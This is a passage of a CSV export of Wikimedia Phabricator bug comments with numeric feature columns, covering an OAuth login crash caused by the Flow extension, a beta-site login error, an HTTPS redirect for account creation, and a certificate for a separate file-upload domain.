+https://gerrit.wikimedia.org/r/102783",,,1387492188,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hhdidtpgin3lbked7bfb,task_subcomment,,True,c3,1,False,,,-80,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0
+277389,Flow is breaking OAuth login,"Change 102750 had a related patch set uploaded by Spage:
+Allow icon paths to be resolved when requested
+
+https://gerrit.wikimedia.org/r/102750",,,1387485652,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hhdidtpgin3lbked7bfb,task_subcomment,,True,c3,1,False,,,-80,True,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,1,1,0,0,0,0,0
+277384,Flow is breaking OAuth login,*** Bug 58708 has been marked as a duplicate of this bug. ***,,,1387483424,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-hhdidtpgin3lbked7bfb,task_subcomment,,True,c3,1,True,,,-80,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+277378,Flow is breaking OAuth login,Poking the engineers.,,,1387483419,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-hhdidtpgin3lbked7bfb,task_subcomment,,True,c3,1,False,,,-80,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0
+277373,Flow is breaking OAuth login,"It's a repeat of bug 58380, this time Flow's fault:
+
+[19-Dec-2013 19:57:46] Fatal error: Call to a member function isSpecial() on a non-object at /usr/local/apache/common-local/php-1.23wmf8/extensions/OAuth/api/MWOAuthAPI.setup.php on line 55
+Server: mw1017
+Method: POST
+URL: http://test.wikipedia.org/w/api.php
+Backtrace:
+#0 /usr/local/apache/common-local/php-1.23wmf8/extensions/OAuth/api/MWOAuthAPI.setup.php(55): MWOAuthAPISetup::getOAuthAccessToken()
+#1 /usr/local/apache/common-local/php-1.23wmf8/extensions/OAuth/api/MWOAuthAPI.setup.php(89): MWOAuthAPISetup::getOAuthAccessToken()
+#2 [internal function]: MWOAuthAPISetup::onUserLoadFromSession(Object(User), NULL)
+#3 /usr/local/apache/common-local/php-1.23wmf8/includes/Hooks.php(199): call_user_func_array('MWOAuthAPISetup...', Array)
+#4 /usr/local/apache/common-local/php-1.23wmf8/includes/GlobalFunctions.php(4031): Hooks::run('UserLoadFromSes...', Array)
+#5 /usr/local/apache/common-local/php-1.23wmf8/includes/User.php(935): wfRunHooks('UserLoadFromSes...', Array)
+#6 /usr/local/apache/common-local/php-1.23wmf8/includes/User.php(297): User->loadFromSession()
+#7 /usr/local/apache/common-local/php-1.23wmf8/includes/User.php(4560): User->load()
+#8 /usr/local/apache/common-local/php-1.23wmf8/includes/User.php(2312): User->loadOptions()
+#9 /usr/local/apache/common-local/php-1.23wmf8/includes/context/RequestContext.php(333): User->getOption('language')
+#10 /usr/local/apache/common-local/php-1.23wmf8/includes/StubObject.php(204): RequestContext->getLanguage()
+#11 /usr/local/apache/common-local/php-1.23wmf8/includes/StubObject.php(149): StubUserLang->_newObject()
+#12 /usr/local/apache/common-local/php-1.23wmf8/includes/StubObject.php(98): StubObject->_unstub('getDir', 5)
+#13 /usr/local/apache/common-local/php-1.23wmf8/includes/StubObject.php(197): StubObject->_call('getDir', Array)
+#14 /usr/local/apache/common-local/php-1.23wmf8/extensions/Flow/includes/Notifications/Controller.php(32): StubUserLang->__call('getDir', Array)
+#15 /usr/local/apache/common-local/php-1.23wmf8/extensions/Flow/includes/Notifications/Controller.php(32): StubUserLang->getDir()
+#16 /usr/local/apache/common-local/php-1.23wmf8/extensions/Flow/Hooks.php(15): Flow\NotificationController->setup()
+#17 [internal function]: FlowHooks::initFlowExtension()
+#18 /usr/local/apache/common-local/php-1.23wmf8/includes/Setup.php(602): call_user_func('FlowHooks::init...')
+#19 /usr/local/apache/common-local/php-1.23wmf8/includes/WebStart.php(153): require_once('/usr/local/apac...')
+#20 /usr/local/apache/common-local/php-1.23wmf8/api.php(44): require('/usr/local/apac...')
+#21 /usr/local/apache/common-local/w/api.php(3): require('/usr/local/apac...')
+#22 {main}",,,1387483333,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-hhdidtpgin3lbked7bfb,task_subcomment,,True,c3,1,True,,,-80,True,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,1,0,1,0,0,0,0,1
+277368,Flow is breaking OAuth login,"Local testing shows mediawiki.org returning ""Our servers are currently experiencing a technical problem."".
+
+So, two problems here: mw.org is throwing an error (which should be fixed soon), and the patch uploader 500's instead of showing a sensible error message. For the second one: https://github.com/valhallasw/gerrit-patch-uploader/issues/12",,,1387483240,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-hhdidtpgin3lbked7bfb,task_subcomment,,True,c3,1,True,,,-80,True,0,0,0,1,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,1
+59540,beta labs: fatal error on login attempt: Class 'GettingStarted\MobileContext' not found,"seen since Saturday Nov 23:
+
+attempt to login http://en.wikipedia.beta.wmflabs.org/
+
+error is: 
+
+PHP fatal error in /data/project/apache/common-local/php-master/extensions/GettingStarted/Hooks.php line 84: 
+Class 'GettingStarted\MobileContext' not found
+
+--------------------------
+**Version**: unspecified
+**Severity**: critical",Unbreak Now!,100.0,1385392800,1385398242.0,PHID-USER-kqibbfgfpgocyzwe32lv,False,,False,PHID-TASK-jtaqioqlnz7gpz44kcf7,task_description,resolved,True,c3,1,False,False,True,-84,True,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,1
+259849,beta labs: fatal error on login attempt: Class 'GettingStarted\MobileContext' not found,*** Bug 57534 has been marked as a duplicate of this bug. ***,,,1385462922,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-jtaqioqlnz7gpz44kcf7,task_subcomment,,True,c3,1,True,,,-84,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+259843,beta labs: fatal error on login attempt: Class 'GettingStarted\MobileContext' not found,"Thanks, Reedy.  I forgot to test it with mobile and CentralAuth.",,,1385407770,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-jtaqioqlnz7gpz44kcf7,task_subcomment,,True,c3,1,True,,,-84,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+259838,beta labs: fatal error on login attempt: Class 'GettingStarted\MobileContext' not found,Reedy fixed it,,,1385398242,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-jtaqioqlnz7gpz44kcf7,task_subcomment,,True,c3,1,False,,,-84,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+259832,beta labs: fatal error on login attempt: Class 'GettingStarted\MobileContext' not found,Note I can login without problem.  Can you both try again?,,,1385398171,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-jtaqioqlnz7gpz44kcf7,task_subcomment,,True,c3,1,True,,,-84,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0,0
+259825,beta labs: fatal error on login attempt: Class 'GettingStarted\MobileContext' not found,Sam did some fix on GettingStarted an hour ago:  https://gerrit.wikimedia.org/r/#/c/97522/,,,1385398070,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-jtaqioqlnz7gpz44kcf7,task_subcomment,,True,c3,1,True,,,-84,True,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+259818,beta labs: fatal error on login attempt: Class 'GettingStarted\MobileContext' not found,"Confirming. Trying to log in into http://en.wikipedia.beta.wmflabs.org I end up at   http://en.wikipedia.beta.wmflabs.org/wiki/Special:CentralLogin/complete?token=12345678901234567890123456789012 , getting the same error.
+Reloading that page, I am logged in.",,,1385397422,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-jtaqioqlnz7gpz44kcf7,task_subcomment,,True,c3,1,True,,,-84,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,1
+55651,Redirect to HTTPS for account creation,"Now the HTTP login page redirects to the HTTPS version, but for some reason creating an account is exempt.
+
+Is there any reason to allow the login details to be sent in cleartext even once?
+
+What I expect: [1] should redirect to [2]
+
+[1] http://en.wiktionary.org/w/index.php?title=Special:UserLogin&returnto=Wiktionary%3AMain+Page&type=signup
+
+[2] https://en.wiktionary.org/w/index.php?title=Special:UserLogin&returnto=Wiktionary%3AMain+Page&type=signup
+
+--------------------------
+**Version**: wmf-deployment
+**Severity**: normal",Unbreak Now!,100.0,1378034760,1380742050.0,PHID-USER-pwsgofaoir7tnszvfzqi,False,,False,PHID-TASK-x5ughqvejzz4ni6h3g5g,task_description,resolved,True,c3,1,False,False,True,-96,True,1,0,0,1,0,1,1,0,0,0,1,0,0,0,1,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,1,1,1,0,1,0,0,1
+255648,Redirect to HTTPS for account creation,"Woops
+
+https://gerrit.wikimedia.org/r/86314
+Merged",,,1380742050,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-x5ughqvejzz4ni6h3g5g,task_subcomment,,True,c3,1,False,,,-92,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+255641,Redirect to HTTPS for account creation,"csteipp: Any news here, after Tyler's reply?",,,1380725902,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-x5ughqvejzz4ni6h3g5g,task_subcomment,,True,c3,1,True,,,-92,True,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0
+255635,Redirect to HTTPS for account creation,"I can't seem to recall why I put that condition there. I don't think there was a reason. The commit this condition was added on was way back in 565014a8, when I originally fixed $wgSecureLogin functionality (because before that the feature was completely broken and didn't work). It should be safe to just take that out of the if() statement.",,,1378786846,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-x5ughqvejzz4ni6h3g5g,task_subcomment,,True,c3,1,False,,,-95,True,0,0,1,1,1,1,1,1,0,1,1,1,0,0,1,1,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,1,1,0,1,0,0,0,1,0,1,0,1,0,0,0,1,0,0,1,1,1,1,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,1,0,0,0,0,0
+255626,Redirect to HTTPS for account creation,"I have vague memories of doing that for a reason, but I can't seem to find it right now. Git blame points to Tyler for the $this->mType !== 'signup' in the code. Tyler, do you remember why signup was excluded there?",,,1378747956,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-x5ughqvejzz4ni6h3g5g,task_subcomment,,True,c3,1,True,,,-95,True,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,1,1,0,1,0,1,1,0,1,0,0,1
+255619,Redirect to HTTPS for account creation,Confirmed on enwiki. Re-prioritizing.,,,1378745232,,PHID-USER-z3l4i7dl52qicxtephy5,False,,,PHID-TASK-x5ughqvejzz4ni6h3g5g,task_subcomment,,True,c3,1,True,,,-95,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+255616,Redirect to HTTPS for account creation,"(In reply to comment #1)
+Sorry, I meant:
+
+http://en.wikipedia.org/w/index.php?title=Special:UserLogin&returnto=Main+Page&type=signup
+
+and 
+
+https://en.wikipedia.org/w/index.php?title=Special:UserLogin&returnto=Main+Page&type=signup
+
+(In the original post, the link points to the login page rather than the signup page.)",,,1378244685,,PHID-USER-arjqb24x4oae7awzpfp6,False,,,PHID-TASK-x5ughqvejzz4ni6h3g5g,task_subcomment,,True,c3,1,True,,,-96,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,1
+255610,Redirect to HTTPS for account creation,"Not only for Wiktionary, there are lots of signup pages which should redirect to https. For instance,
+
+http://en.wikipedia.org/w/index.php?title=Special:UserLogin&returnto=Main+Page
+
+should redirect to
+
+https://en.wikipedia.org/w/index.php?title=Special:UserLogin&returnto=Main+Page
+
+But currently it doesn't redirect.",,,1378244463,,PHID-USER-arjqb24x4oae7awzpfp6,False,,,PHID-TASK-x5ughqvejzz4ni6h3g5g,task_subcomment,,True,c3,1,True,,,-96,True,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,0,0,0
+373,get certificate for phab.wmfusercontent.org,"https://rt.wikimedia.org/Ticket/Display.html?id=8212
+
+Long story short, need a cert for the file serving domain. Without this and according to the legal requirements, users cannot upload files.",Unbreak Now!,100.0,1409075266,1412019712.0,PHID-USER-3neel27i7dyu62jbbx2l,False,PHID-USER-3neel27i7dyu62jbbx2l,False,PHID-TASK-vdwnq7zdfkfzyzva3obb,task_description,resolved,True,c3,1,True,True,True,-45,True,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0
+2756,get certificate for phab.wmfusercontent.org,LGTM!,,,1412019769,,PHID-USER-7ey733eainlhx5xqp4d3,False,,,PHID-TASK-vdwnq7zdfkfzyzva3obb,task_subcomment,,True,c3,1,False,,,-40,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+2755,get certificate for phab.wmfusercontent.org,"@jeremyb, you are correct.
+
+
+This should be done. 
+
+See: https://phab.wmfusercontent.org/file/data/ihuof2rmdriw7d2exu6c/PHID-FILE-sijhbkzgwmbxorrnrzpb/3ijsborvmimauuxp/aiOZA8rh.jpg",,,1412019705,,PHID-USER-3neel27i7dyu62jbbx2l,False,,,PHID-TASK-vdwnq7zdfkfzyzva3obb,task_subcomment,,True,c3,1,True,,,-40,True,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,1,0,1,0,0,1,1,1,0,0,0,0,0,0,0
+2714,get certificate for phab.wmfusercontent.org,"to clarify and ensure we're all on the same page:
+
+the security blocker for {T463} is not securing the process of uploading, (which is what I think when I read ""users being able to upload files securely""). the issue is that after upload is done, uploaded content that's available for download must be prevented from escalating uploader's access to a different user's phab session. this is done by making those downloads come from a different origin (in this case even a different effective second-level domain).",,,1411973182,,PHID-USER-7ey733eainlhx5xqp4d3,False,,,PHID-TASK-vdwnq7zdfkfzyzva3obb,task_subcomment,,True,c3,1,False,,,-40,True,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,1,0,0,0,0,1,1,1,0,0,0,0,1,1,1,0,0,0,1,1,1,0,1,0,1,1,1,1,0,0,0,0,0,0,0,1,0,0,1,0,1,1,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0
+2708,get certificate for phab.wmfusercontent.org,">>! In T373#22, @jeremyb wrote:
+> I don't understand the last few comments here.
+(snip)
+> I don't see any upload tickets related to this one. So morph into fixing the iridium conf or make a new one?
+
+I don't know enough about the problem to create a new task, and I'm fine reusing this one after the actual problem is solved: users being able to upload files securely in phabricator.wikimedia.org.",,,1411926548,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-vdwnq7zdfkfzyzva3obb,task_subcomment,,True,c3,1,True,,,-40,True,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,1,0,0,0,1,1,1,1,0,1,1,1,0,1,0,1,0,0,1
+2702,get certificate for phab.wmfusercontent.org,"I don't understand the last few comments here.
+
+The cert is installed and working. check yourself whether you get any SSL/TLS related errors in your browser at https://phab.wmfusercontent.org/
+
+The server sends an error message (after client successfully authenticates the server unless client has some non-standard root CA store):
+`[Core Exception/Exception] Specified domain phab.wmfusercontent.org is not configured for Phabricator requests. Please use https://phabricator.wikimedia.org to visit this instance.`
+
+That indicates to me that all further work to get that domain working for uploads is on iridium (and manifests thereof), not varnish/nginx/etc. (and I *think* I saw the same error message before T373#17 so this was already fixed by then)
+
+I don't see any upload tickets related to this one. So morph into fixing the iridium conf or make a new one?",,,1411884061,,PHID-USER-7ey733eainlhx5xqp4d3,False,,,PHID-TASK-vdwnq7zdfkfzyzva3obb,task_subcomment,,True,c3,1,False,,,-40,True,1,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,0,0,1,1,1,0,1,1,0,0,0,1,0,0,0,1,1,0,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,1,0,0,1,1,0,1,1,1,0,0,1
+2701,get certificate for phab.wmfusercontent.org,"I don't understand the last few comments here.
+
+The cert is installed and working. check yourself whether you get any SSL/TLS related errors in your browser at https://phab.wmfusercontent.org/
+
+The server sends an error message (either after client successfully authenticates the server unless client has some non-standard root CA store):
+`[Core Exception/Exception] Specified domain phab.wmfusercontent.org is not configured for Phabricator requests. Please use https://phabricator.wikimedia.org to visit this instance.`
+
+That indicates to me that all further work to get that domain working for uploads is on iridium (and manifests thereof), not varnish/nginx/etc. (and I *think* I saw the same error message before T373#17 so this was already fixed by then)
+
+I don't see any upload tickets related to this one. So morph into fixing the iridium conf or make a new one?",,,1411884020,,PHID-USER-7ey733eainlhx5xqp4d3,False,,,PHID-TASK-vdwnq7zdfkfzyzva3obb,task_subcomment,,True,c3,1,False,,,-40,True,1,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,0,0,1,1,1,0,1,1,0,0,0,1,0,0,0,1,1,0,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,1,0,0,1,1,0,1,1,1,0,0,1
+2637,get certificate for phab.wmfusercontent.org,"Using the ""Unbreak Now!"" priority for the first time, to signal that from all the High priorities this is the highest, because it is blocking open registration, the current milestone that we must complete before moving onto RT/Bugzilla migration -- see T463#30",,,1411633307,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-vdwnq7zdfkfzyzva3obb,task_subcomment,,True,c3,1,True,,,-40,True,1,0,0,0,0,1,1,1,0,0,0,0,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,1,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,1,0,1,0,0,0,1,1,1,0,1,0,1,0,1,0,0,1,0,1,0
+2591,get certificate for phab.wmfusercontent.org,"Drifting from ""certificate""-only topic into general ""separate server for attachments and setting that up"" land. 
+Status summary, as far as I understand it:
+
+* Registering wmfusercontent.org (https://rt.wikimedia.org/Ticket/Display.html?id=8161) is closed as resolved, and it's also in our DNS already.
+* The procurement ticket for the purchase of the certificate is closed as resolved: https://rt.wikimedia.org/Ticket/Display.html?id=8212
+* Setting up the multiple certs on nginx on the misc varnish cluster / Set up SNI on misc-web-lb (https://rt.wikimedia.org/Ticket/Display.html?id=8345) is also resolved, but according to Mark's comment from last week ""The backend of this hasn't been deployed yet, so more Varnish and Apache work is needed for Phabricator, but I believe that is outside the scope of this ticket."" There's not an RT ticket to follow for every related task (overhead) so it's not entirely clear from the outside where we're at. After above comment these followup patches exist(ed) which I am aware of:
+** https://gerrit.wikimedia.org/r/#/c/161200/
+** https://gerrit.wikimedia.org/r/#/c/161355/ https://gerrit.wikimedia.org/r/#/c/161356/
+** https://gerrit.wikimedia.org/r/#/c/161357/ https://gerrit.wikimedia.org/r/#/c/161358/ https://gerrit.wikimedia.org/r/#/c/161389/
+** I //assume// the outstanding next patch is: https://gerrit.wikimedia.org/r/#/c/161180/
+
+I've asked Mark on IRC today: He wrote that ""the nginx stuff is all done, sni/nginx that is. i finished that on thursday last week. but there's no backend setup for it yet that I'm aware of"".
+
+Backend setup ""means, a web server vhost on the phabricator needs to be setup for it that varnish will talk to
+ and phabricator needs to be configured for it
+ and it all depends on how phabricator handles that
+ so yeah, we could do that, but i have no idea if that'd be consistent with the plans for it, and given that there are security implications of it all
+ i'd rather not guess and wait a few days until Chase can work it out""",,,1411474900,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-vdwnq7zdfkfzyzva3obb,task_subcomment,,True,c3,1,True,,,-41,True,1,0,1,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,1,0,1,0,1,0,1,1,1,1,0,0,1,1,1,1,1,1,1,0,1,0,1,0,1,1,1,0,1,0,0,0,1,1,0,1,1,0,1,1,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,1,1,1
+2517,get certificate for phab.wmfusercontent.org,">>! In T373#5, @Qgil wrote:
+> So I propose to uninstall Files
+
+We cannot --- ""This application is required for Phabricator to operate, so all users must have access to it.""",,,1411067112,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-vdwnq7zdfkfzyzva3obb,task_subcomment,,True,c3,1,True,,,-41,True,1,0,0,1,1,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,1,0,0,1,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,1,0,1,0,0,0,1,1,1,0,1,1,1,0,0,0,0,0,0,0,1
+2484,get certificate for phab.wmfusercontent.org,"So I propose to uninstall Files and open LDAP. The only reason to keep LDAP closed is that we don't want people to upoload files, right?",,,1410980737,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-vdwnq7zdfkfzyzva3obb,task_subcomment,,True,c3,1,True,,,-42,True,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,0,0,0,0,0,0
+2358,get certificate for phab.wmfusercontent.org,"**dzahn** wrote on `2014-08-28 01:29:18 (UTC)`
+
